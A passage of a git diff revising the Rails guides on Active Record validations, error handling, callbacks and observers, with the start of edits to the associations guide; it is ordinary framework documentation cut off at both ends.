own +errors+ collection; errors do not bubble up to the calling model. === The +validates_confirmation_of+ helper -You should use this helper when you have two text fields that should receive exactly the same content, like when you want to confirm an email address or password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with '_confirmation' appended. +You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with '_confirmation' appended. [source, ruby] ------------------------------------------------------------------ @@ -114,6 +117,7 @@ end ------------------------------------------------------------------ In your view template you could use something like +[source, html] ------------------------------------------------------------------ <%= text_field :person, :email %> <%= text_field :person, :email_confirmation %> @@ -131,21 +135,6 @@ end The default error message for +validates_confirmation_of+ is "_doesn't match confirmation_" -=== The +validates_each+ helper - -This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case. - -[source, ruby] ------------------------------------------------------------------- -class Person < ActiveRecord::Base - validates_each :name, :surname do |model, attr, value| - model.errors.add(attr, 'Must start with upper case') if value =~ /^[a-z]/ - end -end ------------------------------------------------------------------- - -The block receives the model, the attribute's name and the attribute's value. If your validation fails, you can add an error message to the model, therefore making it invalid. - === The +validates_exclusion_of+ helper This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object. @@ -153,22 +142,24 @@ This helper validates that the attributes' values are not included in a given se [source, ruby] ------------------------------------------------------------------ class MovieFile < ActiveRecord::Base - validates_exclusion_of :format, :in => %w(mov avi), :message => "Extension %s is not allowed" + validates_exclusion_of :format, :in => %w(mov avi), + :message => "Extension %s is not allowed" end ------------------------------------------------------------------ -The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. In the previous example we used the +:message+ option to show how we can personalize it with the current attribute's value, through the +%s+ format mask. +The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can personalize it with the current attribute's value, through the +%s+ format mask. The default error message for +validates_exclusion_of+ is "_is not included in the list_". === The +validates_format_of+ helper -This helper validates the attributes's values by testing if they match a given pattern. This pattern must be specified using a Ruby regular expression, which must be passed through the +:with+ option. +This helper validates the attributes' values by testing whether they match a given pattern. This pattern must be specified using a Ruby regular expression, which is specified using the +:with+ option. [source, ruby] ------------------------------------------------------------------ class Product < ActiveRecord::Base - validates_format_of :description, :with => /^[a-zA-Z]+$/, :message => "Only letters allowed" + validates_format_of :description, :with => /^[a-zA-Z]+$/, + :message => "Only letters allowed" end ------------------------------------------------------------------ @@ -181,17 +172,18 @@ This helper validates that the attributes' values are included in a given set. I [source, ruby] ------------------------------------------------------------------ class Coffee < ActiveRecord::Base - validates_inclusion_of :size, :in => %w(small medium large), :message => "%s is not a valid size" + validates_inclusion_of :size, :in => %w(small medium large), + :message => "%s is not a valid size" end ------------------------------------------------------------------ -The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. In the previous example we used the +:message+ option to show how we can personalize it with the current attribute's value, through the +%s+ format mask. +The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can personalize it with the current attribute's value, through the +%s+ format mask. The default error message for +validates_inclusion_of+ is "_is not included in the list_". === The +validates_length_of+ helper -This helper validates the length of your attribute's value. It can receive a variety of different options, so you can specify length contraints in different ways. +This helper validates the length of your attribute's value. It includes a variety of different options, so you can specify length constraints in different ways: [source, ruby] ------------------------------------------------------------------ @@ -210,7 +202,7 @@ The possible length constraint options are: * +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a Ruby range. * +:is+ - The attribute length must be equal to a given value. -The default error messages depend on the type of length validation being performed. You can personalize these messages, using the +:wrong_length+, +:too_long+ and +:too_short+ options and the +%d+ format mask as a placeholder for the number corresponding to the length contraint being used. You can still use the +:message+ option to specify an error message. +The default error messages depend on the type of length validation being performed. You can personalize these messages, using the +:wrong_length+, +:too_long+ and +:too_short+ options and the +%d+ format mask as a placeholder for the number corresponding to the length constraint being used. You can still use the +:message+ option to specify an error message. [source, ruby] ------------------------------------------------------------------ @@ -219,27 +211,38 @@ class Person < ActiveRecord::Base end ------------------------------------------------------------------ -This helper has an alias called +validates_size_of+, it's the same helper with a different name. You can use it if you'd like to. +The +validates_size_of+ helper is an alias for +validates_length_of+. -=== The +validates_numericallity_of+ helper +=== The +validates_numericality_of+ helper This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the +:integer_only+ option set to true, you can specify that only integral numbers are allowed. -If you use +:integer_only+ set to +true+, then it will use the +$$/\A[+\-]?\d+\Z/$$+ regular expression to validate the attribute's value. Otherwise, it will try to convert the value using +Kernel.Float+. +If you set +:integer_only+ to +true+, then it will use the +$$/\A[+\-]?\d+\Z/+ regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Kernel.Float+. [source, ruby] ------------------------------------------------------------------ class Player < ActiveRecord::Base - validates_numericallity_of :points - validates_numericallity_of :games_played, :integer_only => true + validates_numericality_of :points + validates_numericality_of :games_played, :only_integer => true end ------------------------------------------------------------------ -The default error message for +validates_numericallity_of+ is "_is not a number_". +Besides +:only_integer+, the +validates_numericality_of+ helper also accepts the following options to add constraints to acceptable values: + +* +:greater_than+ - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than (value)_" +* +:greater_than_or_equal_to+ - Specifies the value must be greater than or equal the supplied value. The default error message for this option is "_must be greater than or equal to (value)_" +* +:equal_to+ - Specifies the value must be equal to the supplied value. The default error message for this option is "_must be equal to (value)_" +* +:less_than+ - Specifies the value must be less than the supplied value. The default error message for this option is "_must e less than (value)_" +* +:less_than_or_equal_to+ - Specifies the value must be less than or equal the supplied value. The default error message for this option is "_must be less or equal to (value)_" +* +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_" +* +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_" + + +The default error message for +validates_numericality_of+ is "_is not a number_". === The +validates_presence_of+ helper -This helper validates that the attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or an empty string (if the string has only spaces, it will still be considered empty). +This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or an empty string (if the string has only spaces, it will still be considered empty). [source, ruby] ------------------------------------------------------------------ @@ -248,7 +251,7 @@ class Person < ActiveRecord::Base end ------------------------------------------------------------------ -NOTE: If you want to be sure that an association is present, you'll need to test if the foreign key used to map the association is present, and not the associated object itself. +NOTE: If you want to be sure that an association is present, you'll need to test whether the foreign key used to map the association is present, and not the associated object itself. [source, ruby] ------------------------------------------------------------------ @@ -258,13 +261,13 @@ class LineItem < ActiveRecord::Base end ------------------------------------------------------------------ -NOTE: If you want to validate the presence of a boolean field (where the real values are true and false), you will want to use validates_inclusion_of :field_name, :in => [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # => true +NOTE: If you want to validate the presence of a boolean field (where the real values are true and false), you should use validates_inclusion_of :field_name, :in => [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # => true The default error message for +validates_presence_of+ is "_can't be empty_". === The +validates_uniqueness_of+ helper -This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you wish were unique. To avoid that, you must create an unique index in your database. +This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create an unique index in your database. [source, ruby] ------------------------------------------------------------------ @@ -275,16 +278,17 @@ end The validation happens by performing a SQL query into the model's table, searching for a record where the attribute that must be validated is equal to the value in the object being validated. -There is a +:scope+ option that you can use to specify other attributes that must be used to define uniqueness: +There is a +:scope+ option that you can use to specify other attributes that are used to limit the uniqueness check: [source, ruby] ------------------------------------------------------------------ class Holiday < ActiveRecord::Base - validates_uniqueness_of :name, :scope => :year, :message => "Should happen once per year" + validates_uniqueness_of :name, :scope => :year, + :message => "Should happen once per year" end ------------------------------------------------------------------ -There is also a +:case_sensitive+ option that you can use to define if the uniqueness contraint will be case sensitive or not. This option defaults to true. +There is also a +:case_sensitive+ option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true. [source, ruby] ------------------------------------------------------------------ @@ -295,13 +299,28 @@ end The default error message for +validates_uniqueness_of+ is "_has already been taken_". -== Common validation options +=== The +validates_each+ helper -There are some common options that all the validation helpers can use. Here they are, except for the +:if+ and +:unless+ options, which we'll cover right at the next topic. +This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case. + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + validates_each :name, :surname do |model, attr, value| + model.errors.add(attr, 'Must start with upper case') if value =~ /^[a-z]/ + end +end +------------------------------------------------------------------ + +The block receives the model, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid. + +== Common Validation Options + +There are some common options that all the validation helpers can use. Here they are, except for the +:if+ and +:unless+ options, which are discussed later in the conditional validation topic. === The +:allow_nil+ option -You may use the +:allow_nil+ option everytime you just want to trigger a validation if the value being validated is not +nil+. You may be asking yourself if it makes any sense to use +:allow_nil+ and +validates_presence_of+ together. Well, it does. Remember, validation will be skipped only for +nil+ attributes, but empty strings are not considered +nil+. +The +:allow_nil+ option skips the validation when the value being validated is +nil+. You may be asking yourself if it makes any sense to use +:allow_nil+ and +validates_presence_of+ together. Well, it does. Remember, the validation will be skipped only for +nil+ attributes, but empty strings are not considered +nil+. [source, ruby] ------------------------------------------------------------------ @@ -311,20 +330,39 @@ class Coffee < ActiveRecord::Base end ------------------------------------------------------------------ +=== The +:allow_blank+ option + +The +:allow_blank: option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +nil+ or an empty string, i.e., any value that returns +true+ for +blank?+. + +[source, ruby] +------------------------------------------------------------------ +class Topic < ActiveRecord::Base + validates_length_of :title, :is => 5, :allow_blank => true +end + +Topic.create("title" => "").valid? # => true +Topic.create("title" => nil).valid? # => true +------------------------------------------------------------------ + === The +:message+ option -As stated before, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper. +As you've already seen, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper, together with the attribute name. === The +:on+ option -As stated before, the +:on+ option lets you specify when the validation should happen. The default behaviour for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on =$$>$$ :create+ to run the validation only when a new record is created or +:on =$$>$$ :update+ to run the validation only when a record is updated. +The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on =$$>$$ :create+ to run the validation only when a new record is created or +:on =$$>$$ :update+ to run the validation only when a record is updated. [source, ruby] ------------------------------------------------------------------ class Person < ActiveRecord::Base - validates_uniqueness_of :email, :on => :create # => it will be possible to update email with a duplicated value - validates_numericallity_of :age, :on => :update # => it will be possible to create the record with a 'non-numerical age' - validates_presence_of :name, :on => :save # => that's the default + # => it will be possible to update email with a duplicated value + validates_uniqueness_of :email, :on => :create + + # => it will be possible to create the record with a 'non-numerical age' + validates_numericality_of :age, :on => :update + + # => the default (validates on both create and update) + validates_presence_of :name, :on => :save end ------------------------------------------------------------------ @@ -334,7 +372,7 @@ Sometimes it will make sense to validate an object just when a given predicate i === Using a symbol with the +:if+ and +:unless+ options -You can associated the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option. +You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option. [source, ruby] ------------------------------------------------------------------ @@ -365,40 +403,461 @@ Finally, it's possible to associate +:if+ and +:unless+ with a Ruby Proc object [source, ruby] ------------------------------------------------------------------ class Account < ActiveRecord::Base - validates_confirmation_of :password, :unless => Proc.new { |a| a.password.blank? } + validates_confirmation_of :password, + :unless => Proc.new { |a| a.password.blank? } end ------------------------------------------------------------------ == Writing your own validation methods -When the built-in validation helpers are not enough for your needs, you can write your own validation methods, by implementing one or more of the +validate+, +validate_on_create+ or +validate_on_update+ methods. As the names of the methods states, the right method to implement depends on when you want the validations to be ran. The meaning of valid is still the same: to make an object invalid you just need to add a message to it's +errors+ collection. +When the built-in validation helpers are not enough for your needs, you can write your own validation methods. You can do that by implementing methods that verify the state of your models and add messages to their +errors+ collection when they are invalid. You must then register those methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. You can pass more than one symbol for each class method and the respective validations will be ran in the same order as they were registered. [source, ruby] ------------------------------------------------------------------ class Invoice < ActiveRecord::Base - def validate_on_create - errors.add(:expiration_date, "can't be in the past") if !expiration_date.blank? and expiration_date < Date.today - end -end ------------------------------------------------------------------- - -If your validation rules are too complicated and you want to break it in small methods, you can implement all of them and call one of +validate+, +validate_on_create+ or +validate_on_update+ methods, passing it the symbols for the methods' names. - -[source, ruby] ------------------------------------------------------------------- -class Invoice < ActiveRecord::Base - validate :expiration_date_cannot_be_in_the_past, :discount_cannot_be_more_than_total_value + validate :expiration_date_cannot_be_in_the_past, + :discount_cannot_be_more_than_total_value def expiration_date_cannot_be_in_the_past - errors.add(:expiration_date, "can't be in the past") if !expiration_date.blank? and expiration_date < Date.today + errors.add(:expiration_date, "can't be in the past") if + !expiration_date.blank? and expiration_date < Date.today end def discount_cannot_be_greater_than_total_value - errors.add(:discount, "can't be greater than total value") unless discount <= total_value + errors.add(:discount, "can't be greater than total value") unless + discount <= total_value end end ------------------------------------------------------------------ +You can even create your own validation helpers and reuse them in several different models. Here is an example where we create a custom validation helper to validate the format of fields that represent email addresses: + +[source, ruby] +------------------------------------------------------------------ +module ActiveRecord + module Validations + module ClassMethods + def validates_email_format_of(value) + validates_format_of value, + :with => /\A[\w\._%-]+@[\w\.-]+\.[a-zA-Z]{2,4}\z/, + :if => Proc.new { |u| !u.email.blank? }, + :message => "Invalid format for email address" + end + end + end +end +------------------------------------------------------------------ + +The recipe is simple: just create a new validation method inside the +ActiveRecord::Validations::ClassMethods+ module. You can put this code in a file inside your application's *lib* folder, and then requiring it from your *environment.rb* or any other file inside *config/initializers*. You can use this helper like this: + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + validates_email_format_of :email_address +end +------------------------------------------------------------------ + +== Manipulating the +errors+ collection + +You can do more than just call +valid?+ upon your objects based on the existance of the +errors+ collection. Here is a list of the other available methods that you can use to manipulate errors or ask for an object's state. + +* +add_to_base+ lets you add errors messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of it's attributes. +add_to_base+ receives a string with the message. + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + def a_method_used_for_validation_purposes + errors.add_to_base("This person is invalid because ...") + end +end +------------------------------------------------------------------ + +* +add+ lets you manually add messages that are related to particular attributes. When writing those messages, keep in mind that Rails will prepend them with the name of the attribute that holds the error, so write it in a way that makes sense. +add+ receives a symbol with the name of the attribute that you want to add the message to and the message itself. + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + def a_method_used_for_validation_purposes + errors.add(:name, "can't have the characters !@#$%*()_-+=") + end +end +------------------------------------------------------------------ + +* +invalid?+ is used when you want to check if a particular attribute is invalid. It receives a symbol with the name of the attribute that you want to check. + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + validates_presence_of :name, :email +end + +person = Person.new(:name => "John Doe") +person.invalid?(:email) # => true +------------------------------------------------------------------ + +* +on+ is used when you want to check the error messages for a specific attribute. It will return different kinds of objects depending on the state of the +errors+ collection for the given attribute. If there are no errors related to the attribute, +on+ will return +nil+. If there is just one errors message for this attribute, +on+ will return a string with the message. When +errors+ holds two or more error messages for the attribute, +on+ will return an array of strings, each one with one error message. + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + validates_presence_of :name + validates_length_of :name, :minimum => 3 +end + +person = Person.new(:name => "John Doe") +person.valid? # => true +person.errors.on(:name) # => nil + +person = Person.new(:name => "JD") +person.valid? # => false +person.errors.on(:name) +# => "is too short (minimum is 3 characters)" + +person = Person.new +person.valid? # => false +person.errors.on(:name) +# => ["can't be blank", "is too short (minimum is 3 characters)"] +------------------------------------------------------------------ + +* +clear+ is used when you intentionally want to clear all the messages in the +errors+ collection. However, calling +errors.clear+ upon an invalid object won't make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run. If any of them fails, the +errors+ collection will get filled again. + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + validates_presence_of :name + validates_length_of :name, :minimum => 3 +end + +person = Person.new +person.valid? # => false +person.errors.on(:name) +# => ["can't be blank", "is too short (minimum is 3 characters)"] + +person.errors.clear +person.errors.empty? # => true +p.save # => false +p.errors.on(:name) +# => ["can't be blank", "is too short (minimum is 3 characters)"] +------------------------------------------------------------------ + +== Using the +errors+ collection in your view templates + +Rails provides built-in helpers to display the error messages of your models in your view templates. When creating a form with the form_for helper, you can use the error_messages method on the form builder to render all failed validation messages for the current model instance. + +[source, ruby] +------------------------------------------------------------------ +class Product < ActiveRecord::Base + validates_presence_of :description, :value + validates_numericality_of :value, :allow_nil => true +end +------------------------------------------------------------------ + +------------------------------------------------------------------ +<% form_for(@product) do |f| %> + <%= f.error_messages %> +

+ <%= f.label :description %>
+ <%= f.text_field :description %> +

+

+ <%= f.label :value %>
+ <%= f.text_field :value %> +

+

+ <%= f.submit "Create" %> +

+<% end %> +------------------------------------------------------------------ + +image::images/error_messages.png[Error messages] + +You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It's very similar to the previous example and will achieve exactly the same result. + +------------------------------------------------------------------ +<%= error_messages_for :product %> +------------------------------------------------------------------ + +The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself. + +Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header. + +------------------------------------------------------------------ +<%= f.error_messages :header_message => "Invalid product!", + :message => "You'll need to fix the following fields:", + :header_tag => :h3 %> +------------------------------------------------------------------ + +Which results in the following content + +image::images/customized_error_messages.png[Customized error messages] + +If you pass +nil+ to any of these options, it will get rid of the respective section of the +div+. + +It's also possible to change the CSS classes used by the +error_messages+ helper. These classes are automatically defined at the *scaffold.css* file, generated by the scaffold script. If you're not using scaffolding, you can still define those CSS classes at your CSS files. Here is a list of the default CSS classes. + +* +.fieldWithErrors+ - Style for the form fields with errors. +* +#errorExplanation+ - Style for the +div+ element with the error messages. +* +#errorExplanation h2+ - Style for the header of the +div+ element. +* +#errorExplanation p+ - Style for the paragraph that holds the message that appears right below the header of the +div+ element. +* +#errorExplanation ul li+ - Style for the list of error messages. + +=== Changing the way form fields with errors are displayed + +By default, form fields with errors are displayed enclosed by a +div+ element with the +fieldWithErrors+ CSS class. However, we can write some Ruby code to override the way Rails treats those fields by default. Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want. + +[source, ruby] +------------------------------------------------------------------ +ActionView::Base.field_error_proc = Proc.new do |html_tag, instance| + if instance.error_message.kind_of?(Array) + %(#{html_tag}  + #{instance.error_message.join(',')}) + else + %(#{html_tag}  + #{instance.error_message}) + end +end +------------------------------------------------------------------ + +This will result in something like the following content: + +image::images/validation_error_messages.png[Validation error messages] + +The way form fields with errors are treated is defined by the +ActionView::Base.field_error_proc+ Ruby Proc. This Proc receives two parameters: + +* A string with the HTML tag +* An object of the +ActionView::Helpers::InstanceTag+ class. + +== Callbacks + +Callbacks are methods that get called at certain moments of an object's lifecycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted or loaded from the database. + +=== Callbacks registration + +In order to use the available callbacks, you need to registrate them. You can do that by implementing them as an ordinary methods, and then using a macro-style class method to register then as callbacks. + +[source, ruby] +------------------------------------------------------------------ +class User < ActiveRecord::Base + validates_presence_of :login, :email + + before_validation :ensure_login_has_a_value + + protected + def ensure_login_has_a_value + if self.login.nil? + self.login = email unless email.blank? + end + end +end +------------------------------------------------------------------ + +The macro-style class methods can also receive a block. Rails best practices say that you should only use this style of registration if the code inside your block is so short that it fits in just one line. + +[source, ruby] +------------------------------------------------------------------ +class User < ActiveRecord::Base + validates_presence_of :login, :email + + before_create {|user| user.name = user.login.capitalize if user.name.blank?} +end +------------------------------------------------------------------ + +CAUTION: Remember to always declare the callback methods as being protected or private. These methods should never be public, otherwise it will be possible to call them from code outside the model, violating object encapsulation and exposing implementation details. + +== Conditional callbacks + +Like in validations, we can also make our callbacks conditional, calling then only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a Ruby Proc. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option. + +=== Using a symbol with the +:if+ and +:unless+ options + +You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. If this method returns +false+ the callback won't be executed. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check the if the callback should be executed. + +[source, ruby] +------------------------------------------------------------------ +class Order < ActiveRecord::Base + before_save :normalize_card_number, :if => :paid_with_card? +end +------------------------------------------------------------------ + +=== Using a string with the +:if+ and +:unless+ options + +You can also use a string that will be evaluated using +:eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition. + +[source, ruby] +------------------------------------------------------------------ +class Order < ActiveRecord::Base + before_save :normalize_card_number, :if => "paid_with_card?" +end +------------------------------------------------------------------ + +=== Using a Proc object with the +:if+ and :+unless+ options + +Finally, it's possible to associate +:if+ and +:unless+ with a Ruby Proc object. This option is best suited when writing short validation methods, usually one-liners. + +[source, ruby] +------------------------------------------------------------------ +class Order < ActiveRecord::Base + before_save :normalize_card_number, + :if => Proc.new { |order| order.paid_with_card? } +end +------------------------------------------------------------------ + +=== Multiple Conditions for Callbacks + +When writing conditional callbacks, it's possible to mix both +:if+ and +:unless+ in the same callback declaration. + +[source, ruby] +------------------------------------------------------------------ +class Comment < ActiveRecord::Base + after_create :send_email_to_author, :if => :author_wants_emails?, + :unless => Proc.new { |comment| comment.post.ignore_comments? } +end +------------------------------------------------------------------ + +== Available callbacks + +Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations. + +=== Callbacks called both when creating or updating a record. + +* +before_validation+ +* +after_validation+ +* +before_save+ +* *INSERT OR UPDATE OPERATION* +* +after_save+ + +=== Callbacks called only when creating a new record. + +* +before_validation_on_create+ +* +after_validation_on_create+ +* +before_create+ +* *INSERT OPERATION* +* +after_create+ + +=== Callbacks called only when updating an existing record. + +* +before_validation_on_update+ +* +after_validation_on_update+ +* +before_update+ +* *UPDATE OPERATION* +* +after_update+ + +=== Callbacks called when removing a record from the database. + +* +before_destroy+ +* *DELETE OPERATION* +* +after_destroy+ + +The +before_destroy+ and +after_destroy+ callbacks will only be called if you delete the model using either the +destroy+ instance method or one of the +destroy+ or +destroy_all+ class methods of your Active Record class. If you use +delete+ or +delete_all+ no callback operations will run, since Active Record will not instantiate any objects, accessing the records to be deleted directly in the database. + +=== The +after_initialize+ and +after_find+ callbacks + +The +after_initialize+ callback will be called whenever an Active Record object is instantiated, either by direcly using +new+ or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record +initialize+ method. + +The +after_find+ callback will be called whenever Active Record loads a record from the database. When used together with +after_initialize+ it will run first, since Active Record will first read the record from the database and them create the model object that will hold it. + +The +after_initialize+ and +after_find+ callbacks are a bit different from the others, since the only way to register those callbacks is by defining them as methods. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, significantly slowing down the queries. + +== Halting Execution + +As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks and the database operation to be executed. However, if at any moment one of the +before_create+, +before_save+, +before_update+ or +before_destroy+ callback methods returns a boolean +false+ (not +nil+) value or raise and exception, this execution chain will be halted and the desired operation will not complete: your model will not get persisted in the database, or your records will not get deleted and so on. It's because the whole callback chain is wrapped in a transaction, so raising an exception or returning +false+ fires a database ROLLBACK. + +== Callback classes + +Sometimes the callback methods that you'll write will be useful enough to be reused at other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them. + +Here's an example where we create a class with a after_destroy callback for a PictureFile model. + +[source, ruby] +------------------------------------------------------------------ +class PictureFileCallbacks + def after_destroy(picture_file) + File.delete(picture_file.filepath) if File.exists?(picture_file.filepath) + end +end +------------------------------------------------------------------ + +When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way: + +[source, ruby] +------------------------------------------------------------------ +class PictureFile < ActiveRecord::Base + after_destroy PictureFileCallbacks.new +end +------------------------------------------------------------------ + +Note that we needed to instantiate a new PictureFileCallbacks object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method. + +[source, ruby] +------------------------------------------------------------------ +class PictureFileCallbacks + def self.after_destroy(picture_file) + File.delete(picture_file.filepath) if File.exists?(picture_file.filepath) + end +end +------------------------------------------------------------------ + +If the callback method is declared this way, it won't be necessary to instantiate a PictureFileCallbacks object. + +[source, ruby] +------------------------------------------------------------------ +class PictureFile < ActiveRecord::Base + after_destroy PictureFileCallbacks +end +------------------------------------------------------------------ + +You can declare as many callbacks as you want inside your callback classes. + +== Observers + +Active Record callbacks are a powerful feature, but they can pollute your model implementation with code that's not directly related to the model's purpose. In object-oriented software, it's always a good idea to design your classes with a single responsibility in the whole system. For example, it wouldn't make much sense to have a +User+ model with a method that writes data about a login attempt to a log file. Whenever you're using callbacks to write code that's not directly related to your model class purposes, it may be a good moment to create an Observer. + +An Active Record Observer is an object that links itself to a model and registers its methods for callbacks. Your model's implementation remains clean, while you can reuse the code in the Observer to add behaviour to more than one model class. OK, you may say that we can also do that using callback classes, but it would still force us to add code to our model's implementation. + +Observer classes are subclasses of the ActiveRecord::Observer class. When this class is subclassed, Active Record will look at the name of the new class and then strip the 'Observer' part to find the name of the Active Record class to observe. + +Consider a Registration model, where we want to send an email every time a new registration is created. Since sending emails is not directly related to our model's purpose, we could create an Observer to do just that: + +[source, ruby] +------------------------------------------------------------------ +class RegistrationObserver < ActiveRecord::Observer + def after_create(model) + # code to send registration confirmation emails... + end +end +------------------------------------------------------------------ + +Like in callback classes, the observer's methods receive the observed model as a parameter. + +Sometimes using the ModelName + Observer naming convention won't be the best choice, mainly when you want to use the same observer for more than one model class. It's possible to explicity specify the models that our observer should observe. + +[source, ruby] +------------------------------------------------------------------ +class Auditor < ActiveRecord::Observer + observe User, Registration, Invoice +end +------------------------------------------------------------------ + +=== Registering observers + +If you paid attention, you may be wondering where Active Record Observers are referenced in our applications, so they get instantiated and begin to interact with our models. For observers to work we need to register them somewhere. The usual place to do that is in our application's *config/environment.rb* file. In this file there is a commented-out line where we can define the observers that our application should load at start-up. + +[source, ruby] +------------------------------------------------------------------ +# Activate observers that should always be running +config.active_record.observers = :registration_observer, :auditor +------------------------------------------------------------------ + +You can uncomment the line with +config.active_record.observers+ and change the symbols for the name of the observers that should be registered. + +It's also possible to register callbacks in any of the files living at *config/environments/*, if you want an observer to work only in a specific environment. There is not a +config.active_record.observers+ line at any of those files, but you can simply add it. + +=== Where to put the observers' source files + +By convention, you should always save your observers' source files inside *app/models*. + == Changelog -http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks +http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks[Lighthouse ticket] + +January 9, 2009: Initial version by http://guides.rails.info/authors.html#cmarques[Cássio Marques] diff --git a/vendor/rails/railties/doc/guides/source/association_basics.txt b/vendor/rails/railties/doc/guides/source/association_basics.txt index 5ba61664..95d73975 100644 --- a/vendor/rails/railties/doc/guides/source/association_basics.txt +++ b/vendor/rails/railties/doc/guides/source/association_basics.txt @@ -354,8 +354,8 @@ In designing a data model, you will sometimes find a model that should have a re [source, ruby] ------------------------------------------------------- class Employee < ActiveRecord::Base - has_many :subordinates, :class_name => "User", :foreign_key => "manager_id" - belongs_to :manager, :class_name => "User" + has_many :subordinates, :class_name => "Employee", :foreign_key => "manager_id" + belongs_to :manager, :class_name => "Employee" end ------------------------------------------------------- @@ -396,7 +396,11 @@ You are not free to use just any name for your associations. Because creating an === Updating the Schema -Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things. First, you need to create foreign keys as appropriate: +Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For +belongs_to+ associations you need to create foreign keys, and for +has_and_belongs_to_many+ associations you need to create the appropriate join table. + +==== Creating Foreign Keys for +belongs_to+ Associations + +When you declare a +belongs_to+ association, you need to create foreign keys as appropriate. For example, consider this model: [source, ruby] ------------------------------------------------------- @@ -412,9 +416,9 @@ This declaration needs to be backed up by the proper foreign key declaration on class CreateOrders < ActiveRecord::Migration def self.up create_table :orders do |t| - t.order_date :datetime - t.order_number :string - t.customer_id 